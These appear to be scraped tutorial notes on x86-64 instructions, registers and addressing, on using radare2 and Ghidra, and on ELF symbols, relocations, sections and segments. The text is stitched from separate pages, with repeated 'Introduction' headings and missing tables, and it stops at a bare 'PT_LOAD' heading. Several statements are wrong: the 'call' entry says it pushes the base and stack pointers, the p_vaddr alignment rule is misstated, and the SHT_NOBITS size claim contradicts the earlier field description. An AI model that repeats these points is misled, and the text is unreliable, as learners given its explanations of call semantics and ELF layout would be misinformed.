Each program is comprised of a set of instructions which tell the CPU what operations it needs to perform. Different CPU architectures make use of different instruction sets, however, all of them boil down to two things - an opertation code (opcode) and optional data that the instruction operates with. These are all represented using bits - 1s and 0s.

mov

Moves the value inside one register to another:

mov rax, rdx

lea

Load effective address - this instruction calculates the address of its second operand and moves it into its first operand:

lea rdx, [rax+0x10]

This will move rax+0x10 inside rdx.

add

This instruction adds its operands and stores the result in its first operand:

add rax, rdx

sub

This instruction subtracts the second operand from the first and stores the result in its first operand

sub rax, 0x9

xor

It performs XOR-ing on its operands and stores the results into the first operand:

xor rdx, rax

The and and or are the same, but instead perform a binary AND and a binary OR operation, respectively.

push

Decreases the stack pointer (grows the stack) by 8 (4 on x86) bytes and stores the contents of its operand on the stack:

push rax

pop

Increases the stack pointer (shrinks the stack) by 8 (4 on x86) bytes and stores the popped value from the stack into its operand:

pop rax

jmp

Jumps to the address specified - used for redirecting code execution:

jmp 0x6A2B10

call

Used for invoking procedures. It first pushes the values of the base and stack pointers onto the stack and then jumps to the specified address. After the function is finished, a ret instruction is issued which restores the values of the stack and base pointers from the stack and continues execution from where it left off.

cmp

It compares the value of its two operands and sets the according flags depending on the result:

cmp rax, rdx

If rax < rdx, the zero flag is set to 0 and the carry flag is set to 1.

If rax > rdx, the zero flag is set to 0 and the carry flag is set to 0.

If rax = rdx, the zero flag is set to 1 and the carry flag is set to 0.

jz / jnz

jump-if-zero and jump-if-not-zero execute depending on the state of the zero flag.

Introduction

radare2 is an open-source framework for reverse engineering. The framework includes multiple tools which all work in tandem in order to aid in the analysis of binary files.

It uses short abbreviations for its commands - single letters - and many of its commands have subcommands which are also expressed as single letters. Luckily, you can always append a ? to a specific command in order to view its subcommands and what they do.

To quit radare2, use the q command.

Loading a Binary

You can load a binary by invoking the r2 command. You might sometimes need to also add the -e io.cache=true option in order to fix relocations in disassembly.

Strings

• / <string> - search the bytes of the binary for a specific string
  • /w <string> - search for wide character strings like Unicode symbols

Seeking

Moving around the file requires the usage of the seek (s) command in order to change the offset at which we are. It takes one argument which is a mathematical expression capable of containing flag names, parenthesis, addition, substraction, multiplication of immediates of contents of memory using brackets. Examples:

[0x00000000]> s 0x10
[0x00000010]> s+4
[0x00000014]> s-
[0x00000010]> s+
[0x00000014]>

Here is a list of additional seeking commands:

[0x00000000]> s?
Usage: s    # Help for the seek commands. See ?$? to see all variables
| s                 Print current address
| s.hexoff          Seek honoring a base from core->offset
| s:pad             Print current address with N padded zeros (defaults to 8)
| s addr            Seek to address
| s-                Undo seek
| s-*               Reset undo seek history
| s- n              Seek n bytes backward
| s--[n]            Seek blocksize bytes backward (/=n)
| s+                Redo seek
| s+ n              Seek n bytes forward
| s++[n]            Seek blocksize bytes forward (/=n)
| s[j*=!]           List undo seek history (JSON, =list, *r2, !=names, s==)
| s/ DATA           Search for next occurrence of 'DATA'
| s/x 9091          Search for next occurrence of \x90\x91
| sa [[+-]a] [asz]  Seek asz (or bsize) aligned to addr
| sb                Seek aligned to bb start
| sC[?] string      Seek to comment matching given string
| sf                Seek to next function (f->addr+f->size)
| sf function       Seek to address of specified function
| sf.               Seek to the beginning of current function
| sg/sG             Seek begin (sg) or end (sG) of section or file
| sl[?] [+-]line    Seek to line
| sn/sp ([nkey])    Seek to next/prev location, as specified by scr.nkey
| so [N]            Seek to N next opcode(s)
| sr pc             Seek to register
| ss                Seek silently (without adding an entry to the seek history)

> 3s++        ; 3 times block-seeking
> s 10+0x80   ; seek at 0x80+10

Flags

Flags resemble bookmarks. They associate a name with a given offset in a file.

Create a new flag

f <name> @ offset

You can also remove a flag by appending - to the command:

f-<name>

List available flags - f:

Rename a flag

fr <old name> <new name>

Local Flags

Flag names should be unique for addressing reasons. However, it is often the case that you need to have simple and ubiquitous names like loop or return. For this purpose exist the so-called "local" flags, which are tied to the function where they reside. It is possible to add them using f. command:

Flag Spaces

Flags can be grouped into flag spaces - is a namespace for flags, grouping together similar flags. Some flag spaces include sections, registers, symbols. These are managed with the fs command.

[0x00001080]> fs?
Usage: fs [*] [+-][flagspace|addr]   # Manage flagspaces
| fs            display flagspaces
| fs*           display flagspaces as r2 commands
| fsj           display flagspaces in JSON
| fs *          select all flagspaces
| fs flagspace  select flagspace or create if it doesn't exist
| fs-flagspace  remove flagspace
| fs-*          remove all flagspaces
| fs+foo        push previous flagspace and set
| fs-           pop to the previous flagspace
| fs-.          remove the current flagspace
| fsq           list flagspaces in quiet mode
| fsm [addr]    move flags at given address to the current flagspace
| fss           display flagspaces stack
| fss*          display flagspaces stack in r2 commands
| fssj          display flagspaces stack in JSON
| fsr newname   rename selected flagspace

Binary Info

• i - display file information

  

  • ie - find the program's entry point

    

  • iM - find the program's main function

    

  • iz - pull the hard-coded strings from the executable (only the data sections), use izz to get the strings from the entire binary

    

Analysis

• aaa - analyse the binary
  • afl - list the analysed functions
  • axt <function> - list all the places where a function is called. Note, you need to use the flag name that redare automatically creates for funtions after aaa.

Introduction

Introduction

Introduction

Variables in assembly do not exists in the same sense as they do in higher-level programming languages. This is especially true of local variabls such as those inside functions. Instead of allocating space for a particular value and having that place be "named" according to a variable, the compiler may use a combination of stack and heap allocations as well as registers to achieve behaviour resembling a variable.

That being said, there are some parallels with higher-level programming languages as well.

When manually programming assembly, it should be noted that variable names are more or less identical to addresses.

Constants

Assembly constants cannot be changed during run-time execution. Their value is substituted at assembly-time (corresponding to compile-time substitution for constants in higher-level languages). Consequently, constants are not even assigned a location in memory, for they turn into hard-coded values.

Defining constants in assembly is done in the following way:

<NAME> equ <value>

For example,

EXAMPLE equ 0xdeadbeef

Static Initialised Data

Static or global variables which are initialised before the programme executes are stored in the .data section. In order to define such a variable, you must give it a name, data size and value. In contrast with constants, such data can be mutated during run-time.

The following data size declarations can be used:

The syntax for declaring such variables is as follows:

<name> <dataSize> <initalValue>

For example:

byteVar db 0x1A ; byte variable

Static Uninitialised Data

Static uninitialised data is stored in the .bss section. The syntax for allocating such variables is following:

<name> <resType> <count>

Such variables are usually allocated as chunks, hence the required count. The primary data types are as follows:

Some examples:

bArr resb 10 ; 10 element byte array  
wArr resw 50 ; 50 element word array  
dArr resd 100 ; 100 element double array  
qArr resq 200 ; 200 element quad array

Introduction

Addressing modes refer to the supported methods for accessing and manipulating data. There are three basic addressing modes in x86-64: register, immediate and memory.

Register Mode Addressing

In register mode addressing, the operand is a register (brain undergoing nuclear-fission).

mov rax, rbx

The value inside rbx is copied to rax.

Immediate Mode Addressing

In immediate mode addressing, the operand is an immediate value, or a literal. These are simply constant values such as 10, 0xfa3, "lol", and so on.

mov rax, 123

The number 123 is copied into rax.

Memory Mode Addressing

In memory mode addressing, the operand is treated as a memory location. This is referred to as indirection or dereferencing and is similar to how pointers can be dereferenced in C/C++. In assembly, this is done by wrapping the operand in square brackets: [].

So for example, rax refers to the value stored within the register rax. However, [rax] means "treat rax like a pointer and use the value it points to". Essentially, [rax] treats the value inside the register as an address and uses that address to find the actual value it needs.

mov DWORD PTR [rax], 0xdeadbeef

The value 0xdeadbeef is copied into the location pointed to by rax.

Since memory is byte-addressable, it is oftentimes required to specify how many bytes we want to access. This is done by prepending one of the following specifiers to the operand:

Moreover, the actual formula for memory addressing is a bit more complicated, since it was developed mainly for making the implementation of arrays easier.

[baseAddr + (indexReg * scaleValue) + offset]

The baseAddr must be a register or variable name, although it may be omitted in which case the address is relative to the beginning of the data segment. indexReg is a register which specifies contains an index into the array and the scaleValue is the size (in bytes) of a single member of the array. The offset must be an immediate value.

mov eax, dword [ebx] ; move into eax the value which ebx points to
mov rax, QWORD PTR [rbx + rsi] ; move into rax the value which (rbx + rsi) points to
mov rcx, qword [rax+(rsi*8)] ; move into rcx the value which (rax + (rsi*8)) points to

Introduction

Registers are value containers which reside on the CPU (separately from RAM). They are small in size and some have special purposes. x86-64 assembly operates with 16 general-purpose registers (GPRs). It should be noted that the 8-byte (r) variants do not exist in 32-bit mode.

Each row contains names which refer to different parts of the same register. Note, the lower 16 bits of the rip register (instruction pointer) are inaccessible on their own.

For example, the rax register could be set to the following:

rax = 0x0000 000AB 10CA 07F0

The name eax would then only refer to the part of the rax register which contains 10CA 07F0. Similarly, ax would represent 07F0, and al would be just F0.

Additionally, the upper byte of ax, bx, cx and dx may be separately accessed by means of the ah, bh, ch and dh monikers, which exist for legacy reasons.

Register Specialisation

Not all registers available in the x86-64 paradigm are created equal. Certain registers are reserved for specific purposes, despite being called general-purpose.

The Stack Pointer rsp

The stack pointer rsp (esp for 32-bit machines) is used to point to the current top of the stack and should not be used for any other purpose other than in instructions which involve stack manipulation.

The Base Pointer rbp

The base pointer rbp (ebp for 32-bit machines) is the twin brother of the stack pointer and is used as a base pointer when calling functions. It points to the beginning of the current function's stack frame. Interestingly enough, its use is actually gratuitous because compilers can manage the stack frames of functions equally well without a separate base pointer. It is mostly used to make assembly code more comprehensible for humans.

The Instruction Pointer rip

The instruction pointer rip (eip for 32-bit machines) points to the next instruction to be executed. It is paramount not to get confused when using a debugger, since the rip does not actually point to the instruction currently being executed.

The Flag Register rFlags

The flag register rFlags (eFlags for 32-bit machines) is an isolated register which is automatically updated by the CPU after every instruction and is not directly accessible by programmes. Following is a table of the meaning assigned to different bits of this register. Note that only the lower 32 bits are used even on 64-bit machines.

Floating-Point Registers and SSE

In addition to the aforementioned registers, the x86-64 paradigm includes 16 registers, xmm[0-15], which are used for 32- and 64-bit floating-point operations. Furthermore, the same registers are used to support the Streaming SIMD Extensions (SSE) which allow for the execution of Single Instruction Multiple Data (SIMD) instructions.

Introduction

The x86-64 assembly paradigm has quite a lot of different instructions available at its disposal. An instructions consists of an operation and a set of operands where the latter specify the data and the former specifies what is to be done to that data.

Operand Notation

Typically, instruction signatures are represented using the following operand notation.

Introduction

Data representation refers to the way that values are stored in a computer. For technical reasons, computers do not use the familiar base-10 number system but rather avail themselves of the base-2 (binary) system. Under this paradigm, numbers are represented as 1's and 0's.

Integer Representation

When storing an integer value, there are two ways to represent it - signed and unsigned - depending on whether the value should be entirely non-negative or may also have a "-" sign. Based on the number of bits used for storing a value, the value may have a different range.

Unsigned integers are represented in their typical binary form.

Two's Complement

Signed integers are represented using two's complement. In order to convert a acquire the negative form of a number in two's complement, is two negate all of its bits and add 1 to the number. A corollary of this representation is that it adds no complexity to the addition and subtraction operations.

Endianness

Memory is nothing more than a series of bytes which can be individually addressed. When storing values which are larger than a single byte, the bytes under the x86-64 paradigms are stored in little-endian order - the least significant byte (LSB) at the lowest memory address and the most significant byte (MSB) at the highest memory address.

For example, the variable var = 0xDEADBEEF would be represented in memory as follows:

Note how the right-most byte is at a lower address and the addresses for the rest of the bytes increase as we go right-to-left.

Memory Layout

Below is the general memory layout of a programme:

The reserved section is unavailable to user programmes. The .text sections stores the instructions which comprise the programme's code. Static variables which were declared and given a value at assemble-time are stored in the .data section. The .bss section stores static uninitialised data, i.e variables which were declared but were not provided with an initial value. If such variables are used before they are initialised, their value will be meaningless.

The Stack and the Heap are where data can be allocated at run-time. The Stack is used for allocating space for small amounts of data with a size known at compile-time and grows from higher to lower addresses. Conversely, the Heap allows for the dynamic allocation of space for data of size known at run-time and grows from lower to higher addresses.

Introduction

Ghidra is an open-source framework for reverse engineering developed by the NSA. It groups binaries into projects which can be shared amonst multiple people.

Installation

To install Ghidra, you can run sudo apt install ghidra.

Creating a Project

• File -> New Project
  • Non-Shared Project
  • Select Directory
  • Name the Project

Loading a Binary

• File -> Import File

  

  • Select the binary you want to import

  • Ghidra will automatically detect certain information about the file

    

  • After importing, Ghidra will display an Import Results Summary containing information about the binary

    

Initial Analysis

Double-clicking on a program will open it in the Code Browser. A prompt will appear for analysing the binary. Ghidra will attempt to create and label functions, as well as identify any cross-references in memory. Once the binary has been analysed you will be presented with the following screen:

Introduction

The Executable and Linkable Format (ELF) has established itself as the standard binary format for Unix operating systems and their derivatives. Under LINUX, BSD variants, and other operating systems, ELF is used for executables, shared libraries, object files, core files, and even the kernel boot image.

Structure

An ELF file comprises an ELF header followed by data. Inside lie the Program Header Table and the Section Header Table. The former describes memory segments, while the latter outlies the sections.

File Types

An ELF file may be any of the following:

• ET_NONE - indicates an unknown file type which has not yet been defined.
• ET_REL - a relocatable file, also sometimes referred to as an object filed. Relocatable object files typically contain position independent code (PIC) that has not yet been linked into an executable and often have the extension .o.
• ET_EXEC - this is an executable file.
• ET_DYN - a shared object. This file can be dynamically linked and is also known as a shared library. Such files are loaded and linked into a process' image at runtime by the dynamic linker. Additionally, these DYN files can also serve as standalone executables.
• ET_CORE - a core-dump file. These are full images of a process during a crash or when a SIGSEGV is returned. These files can be read by debuggers to aid in determining the cause of the crash

Introduction

ELF symbols represent symbolic references to certain pieces of code and data such as functions and global variables. For example, the printf() function will have such an entry in the .symtab and .dynsym sections (if the object is dynamically linked).

The Symbol Tables

Ultimately, there exist at most two symbol tables in an ELF object - .symtab and .dynsym. The former will also contain the contents of the latter, however, it is not necessary for dynamic linking and is thus usually omitted in the memory image of a binary. The extraneous symbols in .symtab are simply too big and completely useless during execution time, so .dynsym only contains the information absolutely necessary for dynamic linking. You will see that .symtab has no flags, while .dynsym is marked as ALLOC.

Both symbol tables contain entries of the following types:

typedef struct
{
  Elf32_Word	st_name;		/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;		/* Symbol value */
  Elf32_Word	st_size;		/* Symbol size */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char	st_other;		/* Symbol visibility */
  Elf32_Section	st_shndx;		/* Section index */
} Elf32_Sym;

typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;

• st_name - an offset (in bytes) from the beginning of the symbol name string table (either .dynstr or .strtab), where the name of the symbol is located.
• st_value - the value of the symbol, which is either an address or an offset of its location.
• st_size - symbols may have an associated size. If this field is 0, the symbol has no size or it is unknown
• st_other - defines the symbol's visibility.
• st_shndx - since each symbol is defined in relation to some section, the index of the section header corresponding to the relevant section is stored in this field.
• st_info - this field specifies the symbol type and binding.

You can view the symbol tables by adding the -s flag to readelf:

If a symbol's value refers to a specific location within a section, st_shndx holds an index into the section header table. As the section moves during relocation, the symbol's value changes as well. Certain section indices, however, have reserved semantics:

SHN_ABS specifies that the symbol value is absolute and won't change during relocation.

SHN_COMMON labels a yet unallocated common block. The symbol's value holds alignment constraints. The linker allocates storage for the symbol at an address that is a multiple of the symbol value, while the st_size field holds the number of bytes necessary for the allocation. Such symbols may only occur in relocatable files.

SHN_UNDEF specifies an undefined symbol. When the linker combines this object file with another which defines the symbol, this file's references to the symbol will be linked directly to the actual definition.

SHN_XINDEX serves as an escape value and indicates that the relevant section header index is too large to fit in the the symbol. Therefore, the section header index is actually found in the SHT_SYMTAB_SHNDX section whose entries correspond one-to-one with those in the symbol table.

Symbol Types & Bindings

The following table contains the possible symbol bindings:

STB_LOCAL defines a local symbol. Such symbols are only visible in the object file containing their definition. This means that multiple local symbols with the same name may exist independently inside multiple object files without interfering with each other during linking.

STB_GLOBAL defines a global symbol. These symbols are visible to all files being combined. One file's definition of a global symbol will satisfy another file's reference to the same symbol. Multiple global symbols with the same name are not allowed.

STB_WEAK defines a weak symbol. Such symbols resemble global symbols, but have definitions with lower precedence. Consequently, the definition of an STB_WEAK symbol will be overridden by the definition of a different symbol with the same name, if such a symbol exists.

The other values are reserved for OS- and processor-specific semantics.

Following is a table containing the possible symbol types:

STT_NOTYPE defines a symbol with an undefined type.

STT_OBJECT represents a symbol that is associated with data such as a variable, an array, etc.

STT_FUNC is a symbol associated with a function.

STT_SECTION is a symbol associated with a section. Such entries are typically used for relocation and are of the STB_LOCAL binding.

STT_FILE symbols contain the names of source files associated with object files. Such symbols are local, have a section index of SHN_ABS and precede any other local symbols in the file.

STT_COMMON describes an uninitialised common block.

STT_TLS is a thread-local storage entity. It stores an offset to the symbol and not its address. Such symbols may only be referenced by thread-local storage relocations.

A symbol's type and binding are encoded into and decoded from the st_info field by means of the following macros:

/* How to extract and insert information held in the st_info field.  */

#define ELF32_ST_BIND(val)		(((unsigned char) (val)) >> 4)
#define ELF32_ST_TYPE(val)		((val) & 0xf)
#define ELF32_ST_INFO(bind, type)	(((bind) << 4) + ((type) & 0xf))

/* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field.  */
#define ELF64_ST_BIND(val)		ELF32_ST_BIND (val)
#define ELF64_ST_TYPE(val)		ELF32_ST_TYPE (val)
#define ELF64_ST_INFO(bind, type)	ELF32_ST_INFO ((bind), (type))

Symbol Visibility

The visibility of a symbol specifies how the symbol should be accessed once it has become a part of and executable or shared object, notwithstanding that it may be specified in a relocatable file. In essence, a symbol's visibility tells the linker how that symbol will be used in the end file. Following is a table with the possible visibility values.

STV_DEFAULT symbols have a visibility equivalent to the one defined by their binding.

STV_PROTECTED symbols are visible to other files in the linking process (components), but are not preemptable. This means that references to such symbols from within the defining component must be resolved to the definition in that component. Local symbols cannot be protected.

STV_HIDDEN symbols have names which are invisible to external components and may be used for specifying the external interface of a given component. Hidden symbols in relocatable files must be transformed into local symbols by the linker.

STV_INTERNAL symbols have a platform-dependent meaning. Ultimately, however, the linker should be able to treat them as hidden symbols.

Introduction

The word "relocation" describes the process of matching symbol references with symbol definitions. ELF files contain relocation entries which store information about how to modify the contents of the file's sections in order to resolve the symbol references.

These relocation entries are represented by the following structs and are stored in relocation sections:

/* Relocation table entry without addend (in section of type SHT_REL).  */

typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
} Elf32_Rel;

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
} Elf64_Rel;

/* Relocation table entry with addend (in section of type SHT_RELA).  */

typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
  Elf32_Sword	r_addend;		/* Addend */
} Elf32_Rela;

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;

The r_offset field points to the location that ultimately needs to be altered when the relocation is performed. For example, for functions this will typically point to somewhere in the Global Offset Table. For relocatable files this field contains an offset within a section to be modified. For shared objects and executable files, r_offset stores a virtual address where the relocation should take place.

r_info holds the symbol table index for the associated index as well as the type of relocation to be performed, which is platform-specific. Relocation types are ultimately computations that are performed in order to determine what value is to be stored at the relocation site. This information can be extracted by means of the following macros:

#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF32_R_TYPE(val)		((val) & 0xff)
#define ELF32_R_INFO(sym, type)		(((sym) << 8) + ((type) & 0xff))

#define ELF64_R_SYM(i)			((i) >> 32)
#define ELF64_R_TYPE(i)			((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type)		((((Elf64_Xword) (sym)) << 32) + (type))

r_addend just specifies a constant value which is used to compute the value which will be ultimately stored at the relocation site.

Entries of type ElfN_Rel are stored in sections of type SHT_REL, while entries of type ElfN_Rela are stored in sections of type SHT_RELA. An ELF file may only contain relocation entries of one type and the reasons for using one type over the other are typically architecture-dependent. Every relocation sections can contain references to two other sections. First of all, a relocation section will be linked to its corresponding symbol table and the index of its section header can be retrieved from the sh_link field of the relocation section. For relocatable files, the index of the section for which r_offset is relevant is stored in the sh_info field of the relocation section's header.

You can view the relocation entries of an ELF file by using the -r flag with readelf:

Introduction

Sections comprise the entirety of an ELF binary with the exception of the ELF header, the Programme Header Table and the Section Header Table. Each section is characterised by a single section header. A section must occupy a contiguous block of space in the file and section overlap is not allowed - each byte in the file may only belong to a single function. However, bytes may also pertain to no sections at all, in which case their contents are unspecified.

It is paramount to understand that sections are not loaded as such into the memory image of the binary. Instead, specific parts from them are organised and grouped by the ELF segments. You can imagine sections as turning into segments during load-time. Sections themselves are really only relevant for linking and debugging purposes.

The Section Header Table (SHT)

Sections are described by section headers which are in turn stored in the Section Header Table (SHT). Since the SHT is not pertinent to a binary at runtime, it may be stripped from the file entirely. A corollary of this is the fact that while every ELF object has sections, but not every ELF object has section headers. In fact, a common procedure for hindering reverse engineering and debugging of a binary is to strip the section header table, which makes life rather difficult for debuggers, since they will be unable to directly reference symbol information. Note, however, that this information may still be recovered via analysis of the rest of the binary, and more specifically, of the Programme Header Table due to its inherent overlap between segments and sections.

Ultimately, the section header table is an array of the following structures:

typedef struct
{
  Elf32_Word	sh_name;		/* Section name (string tbl index) */
  Elf32_Word	sh_type;		/* Section type */
  Elf32_Word	sh_flags;		/* Section flags */
  Elf32_Addr	sh_addr;		/* Section virtual addr at execution */
  Elf32_Off	sh_offset;		/* Section file offset */
  Elf32_Word	sh_size;		/* Section size in bytes */
  Elf32_Word	sh_link;		/* Link to another section */
  Elf32_Word	sh_info;		/* Additional section information */
  Elf32_Word	sh_addralign;		/* Section alignment */
  Elf32_Word	sh_entsize;		/* Entry size if section holds table */
} Elf32_Shdr;

typedef struct
{
  Elf64_Word	sh_name;		/* Section name (string tbl index) */
  Elf64_Word	sh_type;		/* Section type */
  Elf64_Xword	sh_flags;		/* Section flags */
  Elf64_Addr	sh_addr;		/* Section virtual addr at execution */
  Elf64_Off	sh_offset;		/* Section file offset */
  Elf64_Xword	sh_size;		/* Section size in bytes */
  Elf64_Word	sh_link;		/* Link to another section */
  Elf64_Word	sh_info;		/* Additional section information */
  Elf64_Xword	sh_addralign;		/* Section alignment */
  Elf64_Xword	sh_entsize;		/* Entry size if section holds table */
} Elf64_Shdr;

• sh_name - the offset (in bytes) from the beginning of the section name string table at which the name of the current section is located.
• sh_type - the type of the section.
• sh_flags - sections support 1-bit flags which describe certain attributes.
• sh_addr - if the section is to be loaded into the memory image of the file, this field contains the address at which the section should reside. It holds 0 otherwise.
• sh_offset - the offset (in bytes) from the beginning of the file where the section resides. For sections of type SHT_NOBITS, this portrays only a conceptual position.
• sh_size - the section's size in bytes. Sections of type SHT_NOBITS may have this field set to a non-zero value, but will still occupy no space in the file.
• sh_link - a link to another section header. The interpretation of this field depends on the section's type.
• sh_info - this field holds additional information and its interpretation is different based on the section's type

• sh_addralign - certain sections have alignment constraints. For example, if the section holds a doubleword, doubleword alignment is to be ensured for the entire section. Values 0 and 1 mean that the section requires no special alignment. Otherwise, only positive integral values of 2 are allowed for this field. Ultimately, sh_addr must be divisible by sh_addralign.
• sh_entsize - if the section contains some sort of a table of fixed-sized entries, this field holds the entry size. If no such table is present, this member holds 0.

If the number of section headers is greater than or equal to SHN_LORESERVE (0xff00), then the e_shnum field of the ELF header holds SHN_UNDEF (0) and the actual number of section headers is stored in the sh_size field of the first entry in the section header table.

Certain indices in the section header table are reserved. The first section header has the following form:

The other reserved indices are described in the following table:

• SHN_LORESERVE - the lower bound for reserved indices.
• SHN_LOPROC through SHN_HIPROC - reserved for processor-specific semantics.
• SHN_LOOS through SHN_HIOS - reserved for OS-specific semantics.
• SHN_ABS - specifies absolute values. For example, symbol definitions relative to this section number are absolutes and are not affected by relocation.
• SHN_COMMON - symbols defined relative to this section are "common" symbols such as unallocated C external variables.
• SHN_XINDEX - an escape value denoting an index which cannot fit in the containing field and thus must be found elsewhere (this is specific to the structure it is found in).
• SHN_HIRESERVE - the upper bound for reserved indices.

You can view the section header table by using the -S option in readelf.

Section Types

SHT_NULL

The section header is marked as inactive and lacks an associated section. The rest of the members of such a header have undefined values.

SHT_PROGBITS

The section contains data whose contents are solely defined and used by the actual programme.

SHT_SYMTAB and SHT_DYNSYM

These sections hold symbol tables. A file may contain at most one from each type of symbol table. Since SHT_SYMTAB is a complete symbol table, it is useful for both link editing and dynamic linking. However, its completeness comes with sizeable contents, so an ELF file may also contain an SHT_DYNSYM section which stores only symbols for dynamic linking. Only the latter may be loaded into memory.

SHT_STRTAB

This section is a string table. A file may have multiple string tables for different purposes.

SHT_RELA and SHT_REL

These sections hold relocation entries with without explicit addends, respectively. Multiple relocation sections are allowed per file.

SHT_HASH

The section is a symbol hash table. An ELF file may contain only one such section.

SHT_DYNAMIC

This section stores information relevant for dynamic linking. Only one such section is allowed for the entire file.

SHT_NOTE

This section stores auxiliary information.

SHT_NOBITS

This section occupies no file space but otherwise resembles SHT_PROGBITS. Whilst the section has a size of 0, the sh_offset field of the header contains the conceptual file offset.

SHT_PREINIT_ARRAY, SHT_INIT_ARRAY, and SHT_FINI_ARRAY

SHT_PREINIT_ARRAY stores pointers to functions which are invoked before any initialisation functions, while SHT_INIT_ARRAY and SHT_FINI_ARRAY have pointers which point to initialisation and termination functions, respectively. All pointers represent procedures with no parameters and a void return.

SHT_GROUP

This section specifies a section group. Section groups represent sets of related sections that must be treated by the linker in a special way. Such sections may only appear in relocatable files and the SHT entry for the group must precede any of the group's members in the section header table.

SHT_SYMTAB_SHNDX

This section is associated with an SHT_SYMTAB section and is required if any of the entries in the symbols table contain section header references to SHN_XINDEX. It holds an array of words and each entry corresponds to a

Other

The SHT_SHLIB section type is reserved but unspecified. As always, values from SHT_LOOS through SHT_HIOS and from SHT_LOPROC through SHT_HIPROC are reserved for OS- and processor-specific semantics, respectively. Values between SHT_LOUSER and SHT_HIUSER may be used as per the application's needs without creating any conflicts.

Special Sections

• .bss - this section holds uninitialised data that contributes to a process's memory image. It occupies no space in the file and gets filled with 0s when the programme is run.
• .comment - used for version control.
• .data and .data1 - these hold initialised data that contributes to a process's memory image.
• .debug - holds debugging information and has unspecified contents.
• .dynamic - This section holds dynamic linking information and its attributes will include the SHF_ALLOC bit. Whether the SHF_WRITE bit is set, however, is processor specific.
• .dynstr - this is a string table containing the strings necessary for dynamic linking such as symbol names.
• .dynsym - this section holds the dynamic symbol linking table.
• .fini - contains instructions which contribute to process termination. Execution flow is transferred here when a process exits successfully.
• .fini_array - this section holds function pointers for process termination.
• .got - the Global Offset Table.
• .hash - this section holds a symbol hash table.
• .init - this section contains instructions relevant to process initialisation. The code here is executed before control is transferred to the programme's entry point (called main in most cases).
• .init_array - this section holds function pointers for process initialisation.
• .interp - this section holds the path name of the programme interpreter. If the file has a loadable segment with relocation, the sections' attributes will include the SHF_ALLOC bit.
• .line - this section holds line number information for debugging with source files.
• .note - this section holds auxiliary information.
• .plt - this section holds the Procedure Linkage Table.
• .preinit_array - this section holds function pointers for pre-initialisation.
• .relname and .relaname - these sections hold relocation information, where name is the name of the section for which the relocations are relevant such as .rel.text or .rela.text. If the file has a loadable segment that includes relocation, the sections' attributes will include the SHF_ALLOC bit.
• .rodata and .rodata1 - these sections hold read-only data that gets loaded into the memory image of the process.
• .shstrtab - the string table for the section names.
• .strtab - a string table which typically holds symbol names. If the file has a loadable segment that includes the symbol string table, the section's attributes will include the SHF_ALLOC bit.
• .symtab - the complete symbol table. If the file has a loadable segment that includes the symbol table, the section's attributes will include the SHF_ALLOC bit.
• .symtab_shndx - this section holds the special symbol table section index array described above. The section's attributes will include the SHF_ALLOC bit if the associated symbol table section does.
• .tbss - this section holds uninitialised thread-local data which contributes to the memory image. This data is set to all 0s for each new execution flow and occupies no bytes in the file.
• .tdata - this section holds initialised thread-local data which contributes to the memory image. A copy of it is generated for each new execution flow.
• .text - this section holds the executable instructions of the programme.

Section Groups

Some sections occur in interrelated groups or contain references to other sections which become meaningless if the referenced object is removed or altered. Such groups must be included or omitted from the linked object together and may not be separated. Each section is only allowed to be part of a single group.

Such a grouping of sections is denoted by the SHT_GROUP type. In one of the ELF object's symbol tables is an entry whose name provides a signature for the section group. The section header of the SHT_GROUP section specifies this entry: The sh_link field contains the section header index of the symbol table section that contains the entry, while sh_info holds the symbol table index for the appropriate entry.

The data within an SHT_GROUP section is comprised of word entries, where the first entry is a flag word and the rest are section header indices of the sections which make up the group. The sections must each have the SHF_GROUP flag set in their sh_flags fields.

Introduction

Segments split the ELF binary into parts which are then loaded into memory by the OS programme loader. They can be thought of as grouping sections by their attributes and only selecting those which will be loaded into memory. In essence, segments contain information needed at runtime, while sections contain information needed at link-time.

The Programme Header Table

Segments are described by programme headers which are stored in the Programme Header Table (PHT). These structs are again defined in <elf.h>:

typedef struct
{
  Elf32_Word	p_type;			/* Segment type */
  Elf32_Off	    p_offset;		/* Segment file offset */
  Elf32_Addr	p_vaddr;		/* Segment virtual address */
  Elf32_Addr	p_paddr;		/* Segment physical address */
  Elf32_Word	p_filesz;		/* Segment size in file */
  Elf32_Word	p_memsz;		/* Segment size in memory */
  Elf32_Word	p_flags;		/* Segment flags */
  Elf32_Word	p_align;		/* Segment alignment */
} Elf32_Phdr;

typedef struct
{
  Elf64_Word	p_type;			/* Segment type */
  Elf64_Word	p_flags;		/* Segment flags */
  Elf64_Off	    p_offset;		/* Segment file offset */
  Elf64_Addr	p_vaddr;		/* Segment virtual address */
  Elf64_Addr	p_paddr;		/* Segment physical address */
  Elf64_Xword	p_filesz;		/* Segment size in file */
  Elf64_Xword	p_memsz;		/* Segment size in memory */
  Elf64_Xword	p_align;		/* Segment alignment */
} Elf64_Phdr;

• p_type - describes the type of the segment.
• p_offset - the offset from the beginning of the file where the segment resides.
• p_vaddr - the virtual address at which the segment resides in memory.
• p_paddr - the segment's physical address, which is relevant only for systems with physical addressing. This member holds unspecified contents for executables and shared objects
• p_filesz - the number of bytes the segment occupies in the file image. It may be 0.
• p_memsz - the number of bytes the segment occupies in the memory image. It may be 0.
• p_align - the value to which the segments are aligned in the file and in memory. If this holds 0 or 1, then no alignment is required. Otherwise, p_align should be a positive integer power of 2 and p_vaddr should be equal to p_offset % p_align.

The PHT can be viewed by specifying the -l argument to readelf:

Segment Types

PT_LOAD

